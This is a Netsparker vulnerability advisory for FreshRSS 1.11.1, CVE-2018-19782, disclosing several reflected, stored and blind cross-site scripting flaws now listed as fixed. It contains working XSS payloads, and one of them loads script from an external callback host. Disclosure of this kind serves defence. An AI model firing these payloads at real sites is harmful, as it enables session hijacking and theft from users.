FreshRSS 1.11.1 - Cross-Site Scripting

Multiple Cross-Site Scripting Vulnerabilities in FreshRSS 1.11.1

Information
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Advisory by Netsparker
Name: Multiple Cross-Site Scripting Vulnerabilities in FreshRSS
Affected Software: FreshRSS
Affected Versions: 1.11.1
Homepage: https://freshrss.org/
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID : CVE-2018-19782
CVSS Score (3.0): 6.3
Netsparker Advisory Reference: NS-18-024

Technical Details
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Blind Cross-site Scripting

URL  : http://ns.app:8085/i/?c=auth&a='"--></style></scRipt><scRipt src="//4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho.r87.me"></scRipt>  Parameter Name : a
Parameter Type  : GET
Attack Pattern  : %27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2f4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e

Stored Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=error  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : '"--></style></scRipt><scRipt>netsparker(0x00139F)</scRipt>  

Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001DCF)%3e&a=actualize&id=-1  
Parameter Name  : c
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001DCF)%3e  

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?a=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001F6B)%3e&get=s&order=ASC  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001F6B)%3e  

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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12th November 2018- First Contact
28th November 2018 - Vendor Fixed
3rd December 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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